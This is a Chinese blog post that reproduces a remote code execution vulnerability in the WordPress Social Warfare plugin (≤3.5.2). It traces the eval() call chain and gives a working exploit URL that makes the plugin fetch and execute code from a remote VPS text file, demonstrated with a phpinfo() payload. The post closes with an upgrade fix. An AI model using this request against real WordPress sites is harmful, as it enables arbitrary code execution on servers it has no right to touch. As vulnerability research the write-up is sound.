zoukankan      html  css  js  c++  java
  • WordPress Social Warfare组件 远程代码漏洞执行详细复现

    0x00前言

    今天在知道创宇上发现3月26日提交WordPress XSS和远程代码执行漏洞,于是试着复现了下远程代码执行漏洞

    该漏洞源于Social Warfare组件,并且版本<=3.5.2、且要是管理员登录状态,因此该漏洞是个后台代码执行

    漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/

    利用需一台能够被访问的vps

    0x01环境搭建

    我是采用的windows下的phpstudy,php版本为5.4

    WordPress版本是最新版本https://wordpress.org/download/

    Social Warfare版本是3.5.1(官方已经更新到了3.5.4)https://downloads.wordpress.org/plugin/social-warfare.3.5.1.zip

    下载下来分别解压后,把social-warfare放在wordpresswp-contentplugins目录下

    图片.png

    安装好WordPress后,把social-warfare组件起用(点Activate后,会变成Settings,并在左侧目录下出现Social Warfare子目录)

    图片.png

    0x02 漏洞分析

    浏览报告的时候,明确是wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php中的debug_parameters()调用了eval(),并未对options进行明显过滤

    首先下在eval处个断点

    图片.png

    找到$array传入前$options的地方下个断点

    图片.png

    往回找到调用了debug_parameters()的地方wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php中的init()方法,该方法又被__construct()调用

    图片.png

    继续寻找调用的SWP_Database_Migration类的wordpresswp-contentpluginssocial-warfarelibutilitiesSocial_Warfare.php中的Social_Warfare类的instantiate_classes()方法的202行初始化了SWP_Database_Migration()类

    图片.png

    instantiate_classes()方法又被Social_Warfare类的初始init()方法调用,并init()被该类的__construct()调用

    图片.png

    最后Social_Warfare类被wordpresswp-contentpluginssocial-warfaresocial-warfare.php调用

    图片.png

    在后台添加过Social Warfare组件后,wordpress在访问时,大部分都会包含这个social-warfare.php文件,因此逐步跟进下寻找到触发漏洞利用点eval()参数

    在wordpresswp-contentpluginssocial-warfarelibutilitiesSWP_Database_Migration.php处有个判定

    图片.png

    跟进一下SWP_Utility:debug这个方法,要求GET参数中要有swp_debug参数,并值要和$key相同,而$key也就是传入的'load_options'

    图片.png

    之后会判断是否是管理员,如果不是就会退出,所以需要在后台管理员状态登录,我测试了下在首页不能过这个点

    图片.png

    这里我是在/wp-admin/目录下进行的debug调试操作,进行运行,到了漏洞参数传入的地方,因为file_get_contents是能够远程加载文件的,并且文件路径可控,因为把payload以txt文件格式传到自己的vps上即可

    图片.png

    剪切远程加载的代码逻辑如下,<pre>xxxxx</pre>会去掉<pre>和</pre>,如果不包含这2个标签会返回false

    0x03漏洞复现

    在远程的vps上payload如下

    <pre>phpinfo()</pre>

    图片.png

    最后的请求的url头如下

    http://127.0.0.1/wordpress/wp-admin/admin.php?page=social-warfare&swp_debug=load_options&swp_url=http://vpsi/wordpress_social_warfare_payload.txt

    本地测试成功返回了phpinfo信息

    图片.png

    0x04 修复建议

    因为该漏洞利用成功版本在Social Warfare<=3.5.2,所有更新到3.5.3及以上即可避免

    ps:文章投稿给freebuf还在待审核.................

  • 相关阅读:
    bzoj-2748 2748: [HAOI2012]音量调节(dp)
    bzoj-2338 2338: [HNOI2011]数矩形(计算几何)
    bzoj-3444 3444: 最后的晚餐(组合数学)
    codeforces 709E E. Centroids(树形dp)
    codeforces 709D D. Recover the String(构造)
    codeforces 709C C. Letters Cyclic Shift(贪心)
    codeforces 709B B. Checkpoints(水题)
    codeforces 709A A. Juicer(水题)
    Repeat Number
    hdu 1003 Max Sum (动态规划)
  • 原文地址:https://www.cnblogs.com/sijidou/p/10661515.html
Copyright © 2011-2022 走看看